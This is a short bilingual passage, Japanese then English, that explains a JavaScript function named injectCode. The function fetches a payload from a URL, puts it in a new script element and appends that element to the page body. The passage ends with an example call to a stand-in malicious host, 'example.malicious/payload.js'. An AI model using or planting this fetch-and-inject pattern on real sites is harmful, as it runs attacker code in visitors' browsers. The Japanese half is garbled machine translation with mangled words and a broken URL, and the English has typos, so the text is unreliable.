最初に、この関数は、変数APIURLによって記述されたエンドポイントからペイロードを取得し、それをテキストとして解析します。次に、ドキュメントモデルを使用して新しいスクリプト要素を作成し、Scriptelement ConstのInnerHTMLプロパティに割り当てます。このバラブルなスクレプレメントは、document.body.appendchild（Scriptelement）を呼び出すことにより、ページの本文に追加されます。

この関数は、次のようにコードでinjectCode（ 'http：//example.malicious/payload.js'）;
First the function retrieves the payload from the endpoint described by the variable apiUrl and parses it as text. it then uses the document model to create a new script element and assigns it to the innerHTML property of the scriptElement const. this varable scrptElement is then appended to the body of the page by calling document.body.appendChild(scriptElement).

This function could be called in code as follows injectCode('http://example.malicious/payload.js');